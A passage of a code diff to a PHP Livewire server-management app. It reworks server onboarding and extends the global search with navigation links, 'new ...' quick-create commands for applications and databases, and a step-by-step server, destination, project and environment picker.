state (for page refresh) + if ($this->currentState === 'create-project' && $this->projects->isEmpty()) { + $this->projects = Project::ownedByCurrentTeam(['name'])->get(); } } @@ -129,41 +186,16 @@ public function setServerType(string $type) return $this->validateServer('localhost'); } elseif ($this->selectedServerType === 'remote') { - if (isDev()) { - $this->privateKeys = PrivateKey::ownedByCurrentTeam(['name'])->get(); - } else { - $this->privateKeys = PrivateKey::ownedByCurrentTeam(['name'])->where('id', '!=', 0)->get(); - } + $this->privateKeys = PrivateKey::ownedByCurrentTeam(['name'])->where('id', '!=', 0)->get(); + // Auto-select first key if available for better UX if ($this->privateKeys->count() > 0) { $this->selectedExistingPrivateKey = $this->privateKeys->first()->id; } - $this->servers = Server::ownedByCurrentTeam(['name'])->where('id', '!=', 0)->get(); - if ($this->servers->count() > 0) { - $this->selectedExistingServer = $this->servers->first()->id; - $this->updateServerDetails(); - $this->currentState = 'select-existing-server'; - - return; - } + // Onboarding always creates new servers, skip existing server selection $this->currentState = 'private-key'; } } - public function selectExistingServer() - { - $this->createdServer = Server::find($this->selectedExistingServer); - if (! $this->createdServer) { - $this->dispatch('error', 'Server is not found.'); - $this->currentState = 'private-key'; - - return; - } - $this->selectedExistingPrivateKey = $this->createdServer->privateKey->id; - $this->serverPublicKey = $this->createdServer->privateKey->getPublicKey(); - $this->updateServerDetails(); - $this->currentState = 'validate-server'; - } - private function updateServerDetails() { if ($this->createdServer) { @@ -181,7 +213,7 @@ public function getProxyType() public function selectExistingPrivateKey() { if (is_null($this->selectedExistingPrivateKey)) { - $this->restartBoarding(); + $this->dispatch('error', 'Please select a private key.'); return; } @@ -202,6 +234,9 @@ public function setPrivateKey(string $type) $this->privateKeyType = $type; if ($type === 'create') { $this->createNewPrivateKey(); + } else { + $this->privateKey = null; + $this->publicKey = null; } $this->currentState = 'create-private-key'; } diff --git a/app/Livewire/Concerns/SynchronizesModelData.php b/app/Livewire/Concerns/SynchronizesModelData.php new file mode 100644 index 000000000..f8218c715 --- /dev/null +++ b/app/Livewire/Concerns/SynchronizesModelData.php @@ -0,0 +1,35 @@ + Array mapping property names to model keys (e.g., ['content' => 'fileStorage.content']) + */ + abstract protected function getModelBindings(): array; + + /** + * Synchronize component properties TO the model. + * Copies values from component properties to the model. + */ + protected function syncToModel(): void + { + foreach ($this->getModelBindings() as $property => $modelKey) { + data_set($this, $modelKey, $this->{$property}); + } + } + + /** + * Synchronize component properties FROM the model. + * Copies values from the model to component properties. + */ + protected function syncFromModel(): void + { + foreach ($this->getModelBindings() as $property => $modelKey) { + $this->{$property} = data_get($this, $modelKey); + } + } +} diff --git a/app/Livewire/GlobalSearch.php b/app/Livewire/GlobalSearch.php index 679926738..e1dd678ff 100644 --- a/app/Livewire/GlobalSearch.php +++ b/app/Livewire/GlobalSearch.php @@ -22,6 +22,8 @@ class GlobalSearch extends Component { public $searchQuery = ''; + private $previousTrimmedQuery = ''; + public $isModalOpen = false; public $searchResults = []; @@ -34,6 +36,35 @@ class GlobalSearch extends Component public $autoOpenResource = null; + // Resource selection state + public $isSelectingResource = false; + + public $selectedResourceType = null; + + public $loadingServers = false; + + public $loadingProjects = false; + + public $loadingEnvironments = false; + + public $availableServers = []; + + public $availableProjects = []; + + public $availableEnvironments = []; + + public $selectedServerId = null; + + public $selectedDestinationUuid = null; + + public $selectedProjectUuid = null; + + public $selectedEnvironmentUuid = null; + + public $availableDestinations = []; + + public $loadingDestinations = false; + public function mount() { $this->searchQuery = ''; @@ -43,12 +74,14 @@ public function mount() $this->isCreateMode = false; $this->creatableItems = []; $this->autoOpenResource = null; + $this->isSelectingResource = false; } public function openSearchModal() { $this->isModalOpen = true; $this->loadSearchableItems(); + $this->loadCreatableItems(); $this->dispatch('search-modal-opened'); } @@ -56,6 +89,7 @@ public function closeSearchModal() { $this->isModalOpen = false; $this->searchQuery = ''; + $this->previousTrimmedQuery = ''; $this->searchResults = []; } @@ -71,20 +105,54 @@ public static function clearTeamCache($teamId) public function updatedSearchQuery() { - $query = strtolower(trim($this->searchQuery)); + $trimmedQuery = trim($this->searchQuery); - if (str_starts_with($query, 'new')) { + // If only spaces were added/removed, don't trigger a search + if ($trimmedQuery === $this->previousTrimmedQuery) { + return; + } + + $this->previousTrimmedQuery = $trimmedQuery; + + // If search query is empty, just clear results without processing + if (empty($trimmedQuery)) { + $this->searchResults = []; + $this->isCreateMode = false; + $this->creatableItems = []; + $this->autoOpenResource = null; + $this->isSelectingResource = false; + $this->cancelResourceSelection(); + + return; + } + + $query = strtolower($trimmedQuery); + + // Reset keyboard navigation index + $this->dispatch('reset-selected-index'); + + // Only enter create mode if query is exactly "new" or starts with "new " (space after) + if ($query === 'new' || str_starts_with($query, 'new ')) { $this->isCreateMode = true; $this->loadCreatableItems(); - $this->searchResults = []; // Check for sub-commands like "new project", "new server", etc. - // Use original query (not trimmed) to ensure exact match without trailing spaces - $this->autoOpenResource = $this->detectSpecificResource(strtolower($this->searchQuery)); + $detectedType = $this->detectSpecificResource($query); + if ($detectedType) { + $this->navigateToResource($detectedType); + } else { + // If no specific resource detected, reset selection state + $this->cancelResourceSelection(); + } + + // Also search for existing resources that match the query + // This allows users to find resources with "new" in their name + $this->search(); } else { $this->isCreateMode = false; $this->creatableItems = []; $this->autoOpenResource = null; + $this->isSelectingResource = false; $this->search(); } } @@ -93,6 +161,7 @@ private function detectSpecificResource(string $query): ?string { // Map of keywords to resource types - order matters for multi-word matches $resourceMap = [ + // Quick Actions 'new project' => 'project', 'new server' => 'server', 'new team' => 'team', @@ -101,9 +170,38 @@ private function detectSpecificResource(string $query): ?string 'new private key' => 'private-key', 'new privatekey' => 'private-key', 'new key' => 'private-key', + 'new github app' => 'source', 'new github' => 'source', 'new source' => 'source', - 'new git' => 'source', + + // Applications - Git-based + 'new public' => 'public', + 'new public git' => 'public', + 'new public repo' => 'public', + 'new public repository' => 'public', + 'new private github' => 'private-gh-app', + 'new private gh' => 'private-gh-app', + 'new private deploy' => 'private-deploy-key', + 'new deploy key' => 'private-deploy-key', + + // Applications - Docker-based + 'new dockerfile' => 'dockerfile', + 'new docker compose' => 'docker-compose-empty', + 'new compose' => 'docker-compose-empty', + 'new docker image' => 'docker-image', + 'new image' => 'docker-image', + + // Databases + 'new postgresql' => 'postgresql', + 'new postgres' => 'postgresql', + 'new mysql' => 'mysql', + 'new mariadb' => 'mariadb', + 'new redis' => 'redis', + 'new keydb' => 'keydb', + 'new dragonfly' => 'dragonfly', + 'new mongodb' => 'mongodb', + 'new mongo' => 'mongodb', + 'new clickhouse' => 'clickhouse', ]; foreach ($resourceMap as $command => $type) { @@ -122,12 +220,29 @@ private function canCreateResource(string $type): bool { $user = auth()->user(); - return match ($type) { - 'project', 'source' => $user->can('createAnyResource'), - 'server', 'storage', 'private-key' => $user->isAdmin() || $user->isOwner(), - 'team' => true, - default => false, - }; + // Quick Actions + if (in_array($type, ['server', 'storage', 'private-key'])) { + return $user->isAdmin() || $user->isOwner(); + } + + if ($type === 'team') { + return true; + } + + // Applications, Databases, Services, and other resources + if (in_array($type, [ + 'project', 'source', + // Applications + 'public', 'private-gh-app', 'private-deploy-key', + 'dockerfile', 'docker-compose-empty', 'docker-image', + // Databases + 'postgresql', 'mysql', 'mariadb', 'redis', 'keydb', + 'dragonfly', 'mongodb', 'clickhouse', + ]) || str_starts_with($type, 'one-click-service-')) { + return $user->can('createAnyResource'); + } + + return false; } private function loadSearchableItems() @@ -181,7 +296,7 @@ private function loadSearchableItems() 'project' => $app->environment->project->name ?? null, 'environment' => $app->environment->name ?? null, 'fqdns' => $fqdns->take(2)->implode(', '), // Show first 2 FQDNs in UI - 'search_text' => strtolower($app->name.' '.$app->description.' '.$fqdnsString), + 'search_text' => strtolower($app->name.' '.$app->description.' '.$fqdnsString.' application applications app apps'), ]; }); @@ -210,7 +325,7 @@ private function loadSearchableItems() 'project' => $service->environment->project->name ?? null, 'environment' => $service->environment->name ?? null, 'fqdns' => $fqdns->take(2)->implode(', '), // Show first 2 FQDNs in UI - 'search_text' => strtolower($service->name.' '.$service->description.' '.$fqdnsString), + 'search_text' => strtolower($service->name.' '.$service->description.' '.$fqdnsString.' service services'), ]; }); @@ -233,7 +348,7 @@ private function loadSearchableItems() 'link' => $db->link(), 'project' => $db->environment->project->name ?? null, 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' postgresql '.$db->description), + 'search_text' => strtolower($db->name.' postgresql '.$db->description.' database databases db'), ]; }) ); @@ -254,7 +369,7 @@ private function loadSearchableItems() 'link' => $db->link(), 'project' => $db->environment->project->name ?? null, 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' mysql '.$db->description), + 'search_text' => strtolower($db->name.' mysql '.$db->description.' database databases db'), ]; }) ); @@ -275,7 +390,7 @@ private function loadSearchableItems() 'link' => $db->link(), 'project' => $db->environment->project->name ?? null, 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' mariadb '.$db->description), + 'search_text' => strtolower($db->name.' mariadb '.$db->description.' database databases db'), ]; }) ); @@ -296,7 +411,7 @@ private function loadSearchableItems() 'link' => $db->link(), 'project' => $db->environment->project->name ?? null, 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' mongodb '.$db->description), + 'search_text' => strtolower($db->name.' mongodb '.$db->description.' database databases db'), ]; }) ); @@ -317,7 +432,7 @@ private function loadSearchableItems() 'link' => $db->link(), 'project' => $db->environment->project->name ?? null, 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' redis '.$db->description), + 'search_text' => strtolower($db->name.' redis '.$db->description.' database databases db'), ]; }) ); @@ -338,7 +453,7 @@ private function loadSearchableItems() 'link' => $db->link(), 'project' => $db->environment->project->name ?? null, 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' keydb '.$db->description), + 'search_text' => strtolower($db->name.' keydb '.$db->description.' database databases db'), ]; }) ); @@ -359,7 +474,7 @@ private function loadSearchableItems() 'link' => $db->link(), 'project' => $db->environment->project->name ?? null, 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' dragonfly '.$db->description), + 'search_text' => strtolower($db->name.' dragonfly '.$db->description.' database databases db'), ]; }) ); @@ -380,7 +495,7 @@ private function loadSearchableItems() 'link' => $db->link(), 'project' => $db->environment->project->name ?? null, 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' clickhouse '.$db->description), + 'search_text' => strtolower($db->name.' clickhouse '.$db->description.' database databases db'), ]; }) ); @@ -398,10 +513,10 @@ private function loadSearchableItems() 'link' => $server->url(), 'project' => null, 'environment' => null, - 'search_text' => strtolower($server->name.' '.$server->ip.' '.$server->description), + 'search_text' => strtolower($server->name.' '.$server->ip.' '.$server->description.' server servers'), ]; }); - + ray($servers); // Get all projects $projects = Project::ownedByCurrentTeam() ->withCount(['environments', 'applications', 'services']) @@ -423,15 +538,12 @@ private function loadSearchableItems() 'environment' => null, 'resource_count' => $resourceSummary, 'environment_count' => $project->environments_count, - 'search_text' => strtolower($project->name.' '.$project->description.' project'), + 'search_text' => strtolower($project->name.' '.$project->description.' project projects'), ]; }); // Get all environments - $environments = Environment::query() - ->whereHas('project', function ($query) { - $query->where('team_id', auth()->user()->currentTeam()->id); - }) + $environments = Environment::ownedByCurrentTeam() ->with('project') ->withCount(['applications', 'services']) ->get() @@ -470,8 +582,143 @@ private function loadSearchableItems() ]; }); + // Add navigation routes + $navigation = collect([ + [ + 'name' => 'Dashboard', + 'type' => 'navigation', + 'description' => 'Go to main dashboard', + 'link' => route('dashboard'), + 'search_text' => 'dashboard home main overview', + ], + [ + 'name' => 'Servers', + 'type' => 'navigation', + 'description' => 'View all servers', + 'link' => route('server.index'), + 'search_text' => 'servers all list view', + ], + [ + 'name' => 'Projects', + 'type' => 'navigation', + 'description' => 'View all projects', + 'link' => route('project.index'), + 'search_text' => 'projects all list view', + ], + [ + 'name' => 'Destinations', + 'type' => 'navigation', + 'description' => 'View all destinations', + 'link' => route('destination.index'), + 'search_text' => 'destinations docker networks', + ], + [ + 'name' => 'Security', + 'type' => 'navigation', + 'description' => 'Manage private keys and API tokens', + 'link' => route('security.private-key.index'), + 'search_text' => 'security private keys ssh api tokens cloud-init scripts', + ], + [ + 'name' => 'Cloud-Init Scripts', + 'type' => 'navigation', + 'description' => 'Manage reusable cloud-init scripts', + 'link' => route('security.cloud-init-scripts'), + 'search_text' => 'cloud-init scripts cloud init cloudinit initialization startup server setup', + ], + [ + 'name' => 'Sources', + 'type' => 'navigation', + 'description' => 'Manage GitHub apps and Git sources', + 'link' => route('source.all'), + 'search_text' => 'sources github apps git repositories', + ], + [ + 'name' => 'Storages', + 'type' => 'navigation', + 'description' => 'Manage S3 storage for backups', + 'link' => route('storage.index'), + 'search_text' => 'storages s3 backups', + ], + [ + 'name' => 'Shared Variables', + 'type' => 'navigation', + 'description' => 'View all shared variables', + 'link' => route('shared-variables.index'), + 'search_text' => 'shared variables environment all', + ], + [ + 'name' => 'Team Shared Variables', + 'type' => 'navigation', + 'description' => 'Manage team-wide shared variables', + 'link' => route('shared-variables.team.index'), + 'search_text' => 'shared variables team environment', + ], + [ + 'name' => 'Project Shared Variables', + 'type' => 'navigation', + 'description' => 'Manage project shared variables', + 'link' => route('shared-variables.project.index'), + 'search_text' => 'shared variables project environment', + ], + [ + 'name' => 'Environment Shared Variables', + 'type' => 'navigation', + 'description' => 'Manage environment shared variables', + 'link' => route('shared-variables.environment.index'), + 'search_text' => 'shared variables environment', + ], + [ + 'name' => 'Tags', + 'type' => 'navigation', + 'description' => 'View resources by tags', + 'link' => route('tags.show'), + 'search_text' => 'tags labels organize', + ], + [ + 'name' => 'Terminal', + 'type' => 'navigation', + 'description' => 'Access server terminal', + 'link' => route('terminal'), + 'search_text' => 'terminal ssh console shell command line', + ], + [ + 'name' => 'Profile', + 'type' => 'navigation', + 'description' => 'Manage your profile and preferences', + 'link' => route('profile'), + 'search_text' => 'profile account user settings preferences', + ], + [ + 'name' => 'Team', + 'type' => 'navigation', + 'description' => 'Manage team members and settings', + 'link' => route('team.index'), + 'search_text' => 'team settings members users invitations', + ], + [ + 'name' => 'Notifications', + 'type' => 'navigation', + 'description' => 'Configure email, Discord, Telegram notifications', + 'link' => route('notifications.email'), + 'search_text' => 'notifications alerts email discord telegram slack pushover', + ], + ]); + + // Add instance settings only for self-hosted and root team + if (! isCloud() && $team->id === 0) { + $navigation->push([ + 'name' => 'Settings', + 'type' => 'navigation', + 'description' => 'Instance settings and configuration', + 'link' => route('settings.index'), + 'search_text' => 'settings configuration instance', + ]); + } + // Merge all collections - $items = $items->merge($applications) + $items = $items->merge($navigation) + ->merge($applications) ->merge($services) ->merge($databases) ->merge($servers) @@ -484,7 +731,7 @@ private function loadSearchableItems() private function search() { - if (strlen($this->searchQuery) < 2) { + if (strlen($this->searchQuery) < 1) { $this->searchResults = []; return; @@ -492,14 +739,158 @@ private function search() $query = strtolower($this->searchQuery); - // Case-insensitive search in the items - $this->searchResults = collect($this->allSearchableItems) + // Detect resource category queries + $categoryMapping = [ + 'server' => ['server', 'type' => 'server'], + 'servers' => ['server', 'type' => 'server'], + 'app' => ['application', 'type' => 'application'], + 'apps' => ['application', 'type' => 'application'], + 'application' => ['application', 'type' => 'application'], + 'applications' => ['application', 'type' => 'application'], + 'db' => ['database', 'type' => 'standalone-postgresql'], + 'database' => ['database', 'type' => 'standalone-postgresql'], + 'databases' => ['database', 'type' => 'standalone-postgresql'], + 'service' => ['service', 'category' => 'Services'], + 'services' => ['service', 'category' => 'Services'], + 'project' => ['project', 'type' => 'project'], + 'projects' => ['project', 'type' => 'project'], + ]; + + $priorityCreatableItem = null; + + // Check if query matches a resource category + if (isset($categoryMapping[$query])) { + $this->loadCreatableItems(); + $mapping = $categoryMapping[$query]; + + // Find the matching creatable item + $priorityCreatableItem = collect($this->creatableItems) + ->first(function ($item) use ($mapping) { + if (isset($mapping['type'])) { + return $item['type'] === $mapping['type']; + } + if (isset($mapping['category'])) { + return isset($item['category']) && $item['category'] === $mapping['category']; + } + + return false; + }); + + if ($priorityCreatableItem) { + $priorityCreatableItem['is_creatable_suggestion'] = true; + } + } + + // Search for matching creatable resources to show as suggestions (if no priority item) + if (! $priorityCreatableItem) { + $this->loadCreatableItems(); + + // Search in regular creatable items (apps, databases, quick actions) + $creatableSuggestions = collect($this->creatableItems) + ->filter(function ($item) use ($query) { + $searchText = strtolower($item['name'].' '.$item['description'].' '.($item['type'] ?? '')); + + // Use word boundary matching to avoid substring matches (e.g., "wordpress" shouldn't match "classicpress") + return preg_match('/\b'.preg_quote($query, '/').'/i', $searchText); + }) + ->map(function ($item) use ($query) { + // Calculate match priority: name > type > description + $name = strtolower($item['name']); + $type = strtolower($item['type'] ?? ''); + $description = strtolower($item['description']); + + if (preg_match('/\b'.preg_quote($query, '/').'/i', $name)) { + $item['match_priority'] = 1; + } elseif (preg_match('/\b'.preg_quote($query, '/').'/i', $type)) { + $item['match_priority'] = 2; + } else { + $item['match_priority'] = 3; + } + + $item['is_creatable_suggestion'] = true; + + return $item; + }); + + // Also search in services (loaded on-demand) + $serviceSuggestions = collect($this->services) + ->filter(function ($item) use ($query) { + $searchText = strtolower($item['name'].' '.$item['description'].' '.($item['type'] ?? '')); + + return preg_match('/\b'.preg_quote($query, '/').'/i', $searchText); + }) + ->map(function ($item) use ($query) { + // Calculate match priority: name > type > description + $name = strtolower($item['name']); + $type = strtolower($item['type'] ?? ''); + $description = strtolower($item['description']); + + if (preg_match('/\b'.preg_quote($query, '/').'/i', $name)) { + $item['match_priority'] = 1; + } elseif (preg_match('/\b'.preg_quote($query, '/').'/i', $type)) { + $item['match_priority'] = 2; + } else { + $item['match_priority'] = 3; + } + + $item['is_creatable_suggestion'] = true; + + return $item; + }); + + // Merge and sort all suggestions + $creatableSuggestions = $creatableSuggestions + ->merge($serviceSuggestions) + ->sortBy('match_priority') + ->take(10) + ->values() + ->toArray(); + } else { + $creatableSuggestions = []; + } + + // Case-insensitive search in existing resources + $existingResults = collect($this->allSearchableItems) ->filter(function ($item) use ($query) { - return str_contains($item['search_text'], $query); + // Use word boundary matching to avoid substring matches (e.g., "wordpress" shouldn't match "classicpress") + return preg_match('/\b'.preg_quote($query, '/').'/i', $item['search_text']); }) + ->map(function ($item) use ($query) { + // Calculate match priority: name > type > description + $name = strtolower($item['name'] ?? ''); + $type = strtolower($item['type'] ?? ''); + $description = strtolower($item['description'] ?? ''); + + if (preg_match('/\b'.preg_quote($query, '/').'/i', $name)) { + $item['match_priority'] = 1; + } elseif (preg_match('/\b'.preg_quote($query, '/').'/i', $type)) { + $item['match_priority'] = 2; + } else { + $item['match_priority'] = 3; + } + + return $item; + }) + ->sortBy('match_priority') ->take(20) ->values() ->toArray(); + + // Merge results: existing resources first, then priority create item, then other creatable suggestions + $results = []; + + // If we have existing results, show them first + $results = array_merge($results, $existingResults); + + // Then show the priority "Create New" item (if exists) + if ($priorityCreatableItem) { + $results[] = $priorityCreatableItem; + } + + // Finally show other creatable suggestions + $results = array_merge($results, $creatableSuggestions); + + $this->searchResults = $results; } private function loadCreatableItems() @@ -507,12 +898,16 @@ private function loadCreatableItems() $items = collect(); $user = auth()->user(); + // === Quick Actions Category === + // Project - can be created if user has createAnyResource permission if ($user->can('createAnyResource')) { $items->push([ 'name' => 'Project', 'description' => 'Create a new project to organize your resources', + 'quickcommand' => '(type: new project)', 'type' => 'project', + 'category' => 'Quick Actions', 'component' => 'project.add-empty', ]); } @@ -522,7 +917,9 @@ private function loadCreatableItems() $items->push([ 'name' => 'Server', 'description' => 'Add a new server to deploy your applications', + 'quickcommand' => '(type: new server)', 'type' => 'server', + 'category' => 'Quick Actions', 'component' => 'server.create', ]); } @@ -531,7 +928,9 @@ private function loadCreatableItems() $items->push([ 'name' => 'Team', 'description' => 'Create a new team to collaborate with others', + 'quickcommand' => '(type: new team)', 'type' => 'team', + 'category' => 'Quick Actions', 'component' => 'team.create', ]); @@ -540,7 +939,9 @@ private function loadCreatableItems() $items->push([ 'name' => 'S3 Storage', 'description' => 'Add S3 storage for backups and file uploads', + 'quickcommand' => '(type: new storage)', 'type' => 'storage', + 'category' => 'Quick Actions', 'component' => 'storage.create', ]); } @@ -550,7 +951,9 @@ private function loadCreatableItems() $items->push([ 'name' => 'Private Key', 'description' => 'Add an SSH private key for server access', + 'quickcommand' => '(type: new private key)', 'type' => 'private-key', + 'category' => 'Quick Actions', 'component' => 'security.private-key.create', ]); } @@ -560,14 +963,501 @@ private function loadCreatableItems() $items->push([ 'name' => 'GitHub App', 'description' => 'Connect a GitHub app for source control', + 'quickcommand' => '(type: new github)', 'type' => 'source', + 'category' => 'Quick Actions', 'component' => 'source.github.create', ]); } + // === Applications Category === + + if ($user->can('createAnyResource')) { + // Git-based applications + $items->push([ + 'name' => 'Public Git Repository', + 'description' => 'Deploy from any public Git repository', + 'quickcommand' => '(type: new public)', + 'type' => 'public', + 'category' => 'Applications', + 'resourceType' => 'application', + ]); + + $items->push([ + 'name' => 'Private Repository (GitHub App)', + 'description' => 'Deploy private repositories through GitHub Apps', + 'quickcommand' => '(type: new private github)', + 'type' => 'private-gh-app', + 'category' => 'Applications', + 'resourceType' => 'application', + ]); + + $items->push([ + 'name' => 'Private Repository (Deploy Key)', + 'description' => 'Deploy private repositories with a deploy key', + 'quickcommand' => '(type: new private deploy)', + 'type' => 'private-deploy-key', + 'category' => 'Applications', + 'resourceType' => 'application', + ]); + + // Docker-based applications + $items->push([ + 'name' => 'Dockerfile', + 'description' => 'Deploy a simple Dockerfile without Git', + 'quickcommand' => '(type: new dockerfile)', + 'type' => 'dockerfile', + 'category' => 'Applications', + 'resourceType' => 'application', + ]); + + $items->push([ + 'name' => 'Docker Compose', + 'description' => 'Deploy complex applications with Docker Compose', + 'quickcommand' => '(type: new compose)', + 'type' => 'docker-compose-empty', + 'category' => 'Applications', + 'resourceType' => 'application', + ]); + + $items->push([ + 'name' => 'Docker Image', + 'description' => 'Deploy an existing Docker image from any registry', + 'quickcommand' => '(type: new image)', + 'type' => 'docker-image', + 'category' => 'Applications', + 'resourceType' => 'application', + ]); + } + + // === Databases Category === + + if ($user->can('createAnyResource')) { + $items->push([ + 'name' => 'PostgreSQL', + 'description' => 'Robust, advanced open-source database', + 'quickcommand' => '(type: new postgresql)', + 'type' => 'postgresql', + 'category' => 'Databases', + 'resourceType' => 'database', + ]); + + $items->push([ + 'name' => 'MySQL', + 'description' => 'Popular open-source relational database', + 'quickcommand' => '(type: new mysql)', + 'type' => 'mysql', + 'category' => 'Databases', + 'resourceType' => 'database', + ]); + + $items->push([ + 'name' => 'MariaDB', + 'description' => 'Community-developed fork of MySQL', + 'quickcommand' => '(type: new mariadb)', + 'type' => 'mariadb', + 'category' => 'Databases', + 'resourceType' => 'database', + ]); + + $items->push([ + 'name' => 'Redis', + 'description' => 'In-memory data structure store', + 'quickcommand' => '(type: new redis)', + 'type' => 'redis', + 'category' => 'Databases', + 'resourceType' => 'database', + ]); + + $items->push([ + 'name' => 'KeyDB', + 'description' => 'High-performance Redis alternative', + 'quickcommand' => '(type: new keydb)', + 'type' => 'keydb', + 'category' => 'Databases', + 'resourceType' => 'database', + ]); + + $items->push([ + 'name' => 'Dragonfly', + 'description' => 'Modern in-memory datastore', + 'quickcommand' => '(type: new dragonfly)', + 'type' => 'dragonfly', + 'category' => 'Databases', + 'resourceType' => 'database', + ]); + + $items->push([ + 'name' => 'MongoDB', + 'description' => 'Document-oriented NoSQL database', + 'quickcommand' => '(type: new mongodb)', + 'type' => 'mongodb', + 'category' => 'Databases', + 'resourceType' => 'database', + ]); + + $items->push([ + 'name' => 'Clickhouse', + 'description' => 'Column-oriented database for analytics', + 'quickcommand' => '(type: new clickhouse)', + 'type' => 'clickhouse', + 'category' => 'Databases', + 'resourceType' => 'database', + ]); + } + + // Merge with services + $items = $items->merge(collect($this->services)); + $this->creatableItems = $items->toArray(); } + public function navigateToResource($type) + { + // Find the item by type - check regular items first, then services + $item = collect($this->creatableItems)->firstWhere('type', $type); + + if (! $item) { + $item = collect($this->services)->firstWhere('type', $type); + } + + if (! $item) { + return; + } + + // If it has a component, it's a modal-based resource + // Close search modal and open the appropriate creation modal + if (isset($item['component'])) { + $this->dispatch('closeSearchModal'); + $this->dispatch('open-create-modal-'.$type); + + return; + } + + // For applications, databases, and services, navigate to resource creation + // with smart defaults (auto-select if only 1 server/project/environment) + if (isset($item['resourceType'])) { + $this->navigateToResourceCreation($type); + } + } + + private function navigateToResourceCreation($type) + { + // Start the selection flow + $this->selectedResourceType = $type; + $this->isSelectingResource = true; + + // Clear search query to show selection UI instead of creatable items + $this->searchQuery = ''; + + // Reset selections + $this->selectedServerId = null; + $this->selectedDestinationUuid = null; + $this->selectedProjectUuid = null; + $this->selectedEnvironmentUuid = null; + + // Start loading servers first (in order: servers -> destinations -> projects -> environments) + $this->loadServers(); + } + + public function loadServers() + { + $this->loadingServers = true; + $servers = Server::isUsable()->get()->sortBy('name'); + $this->availableServers = $servers->map(fn ($s) => [ + 'id' => $s->id, + 'name' => $s->name, + 'description' => $s->description, + ])->toArray(); + $this->loadingServers = false; + + // Auto-select if only one server + if (count($this->availableServers) === 1) { + $this->selectServer($this->availableServers[0]['id']); + } + } + + public function selectServer($serverId, $shouldProgress = true) + { + $this->selectedServerId = $serverId; + + if ($shouldProgress) { + $this->loadDestinations(); + } + } + + public function loadDestinations() + { + $this->loadingDestinations = true; + $server = Server::find($this->selectedServerId); + + if (! $server) { + $this->loadingDestinations = false; + + return $this->dispatch('error', message: 'Server not found'); + } + + $destinations = $server->destinations(); + + if ($destinations->isEmpty()) { + $this->loadingDestinations = false; + + return $this->dispatch('error', message: 'No destinations found on this server'); + } + + $this->availableDestinations = $destinations->map(fn ($d) => [ + 'uuid' => $d->uuid, + 'name' => $d->name, + 'network' => $d->network ?? 'default', + ])->toArray(); + + $this->loadingDestinations = false; + + // Auto-select if only one destination + if (count($this->availableDestinations) === 1) { + $this->selectDestination($this->availableDestinations[0]['uuid']); + } + } + + public function selectDestination($destinationUuid, $shouldProgress = true) + { + $this->selectedDestinationUuid = $destinationUuid; + + if ($shouldProgress) { + $this->loadProjects(); + } + } + + public function loadProjects() + { + $this->loadingProjects = true; + $user = auth()->user(); + $team = $user->currentTeam(); + $projects = Project::where('team_id', $team->id)->get(); + + if ($projects->isEmpty()) { + $this->loadingProjects = false; + + return $this->dispatch('error', message: 'Please create a project first'); + } + + $this->availableProjects = $projects->map(fn ($p) => [ + 'uuid' => $p->uuid, + 'name' => $p->name, + 'description' => $p->description, + ])->toArray(); + $this->loadingProjects = false; + + // Auto-select if only one project + if (count($this->availableProjects) === 1) { + $this->selectProject($this->availableProjects[0]['uuid']); + } + } + + public function selectProject($projectUuid, $shouldProgress = true) + { + $this->selectedProjectUuid = $projectUuid; + + if ($shouldProgress) { + $this->loadEnvironments(); + } + } + + public function loadEnvironments() + { + $this->loadingEnvironments = true; + $project = Project::where('uuid', $this->selectedProjectUuid)->first(); + + if (! $project) { + $this->loadingEnvironments = false; + + return; + } + + $environments = $project->environments; + + if ($environments->isEmpty()) { + $this->loadingEnvironments = false; + + return $this->dispatch('error', message: 'No environments found in project'); + } + + $this->availableEnvironments = $environments->map(fn ($e) => [ + 'uuid' => $e->uuid, + 'name' => $e->name, + 'description' => $e->description, + ])->toArray(); + $this->loadingEnvironments = false; + + // Auto-select if only one environment + if (count($this->availableEnvironments) === 1) { + $this->selectEnvironment($this->availableEnvironments[0]['uuid']); + } + } + + public function selectEnvironment($environmentUuid, $shouldProgress = true) + { + $this->selectedEnvironmentUuid = $environmentUuid; + + if ($shouldProgress) { + $this->completeResourceCreation(); + } + } + + private function completeResourceCreation() + { + // All selections made - navigate to resource creation + if ($this->selectedProjectUuid && $this->selectedEnvironmentUuid && $this->selectedResourceType && $this->selectedServerId !== null && $this->selectedDestinationUuid) { + $queryParams = [ + 'type' => $this->selectedResourceType, + 'destination' => $this->selectedDestinationUuid, + 'server_id' => $this->selectedServerId, + ]; + + // PostgreSQL requires a database_image parameter + if ($this->selectedResourceType === 'postgresql') { + $queryParams['database_image'] = 'postgres:16-alpine'; + } + + $this->redirect(route('project.resource.create', [ + 'project_uuid' => $this->selectedProjectUuid, + 'environment_uuid' => $this->selectedEnvironmentUuid, + ] + $queryParams)); + } + } + + public function cancelResourceSelection() + { + $this->isSelectingResource = false; + $this->selectedResourceType = null; + $this->selectedServerId = null; + $this->selectedDestinationUuid = null; + $this->selectedProjectUuid = null; + $this->selectedEnvironmentUuid = null; + $this->availableServers = []; + $this->availableDestinations = []; + $this->availableProjects = []; + $this->availableEnvironments = []; + $this->autoOpenResource = null; + } + + public function getFilteredCreatableItemsProperty() + { + $query = strtolower(trim($this->searchQuery)); + + // Check if query matches a category keyword + $categoryKeywords = ['server', 'servers', 'app', 'apps', 'application', 'applications', 'db', 'database', 'databases', 'service', 'services', 'project', 'projects']; + if (in_array($query, $categoryKeywords)) { + return $this->filterCreatableItemsByCategory($query); + } + + // Extract search term - everything after "new " + if (str_starts_with($query, 'new ')) { + $searchTerm = trim(substr($query, strlen('new '))); + + if (empty($searchTerm)) { + return $this->creatableItems; + } + + // Filter items by name or description + return collect($this->creatableItems)->filter(function ($item) use ($searchTerm) { + $searchText = strtolower($item['name'].' '.$item['description'].' '.$item['category']); + + return str_contains($searchText, $searchTerm); + })->values()->toArray(); + } + + return $this->creatableItems; + } + + private function filterCreatableItemsByCategory($categoryKeyword) + { + // Map keywords to category names + $categoryMap = [ + 'server' => 'Quick Actions', + 'servers' => 'Quick Actions', + 'app' => 'Applications', + 'apps' => 'Applications', + 'application' => 'Applications', + 'applications' => 'Applications', + 'db' => 'Databases', + 'database' => 'Databases', + 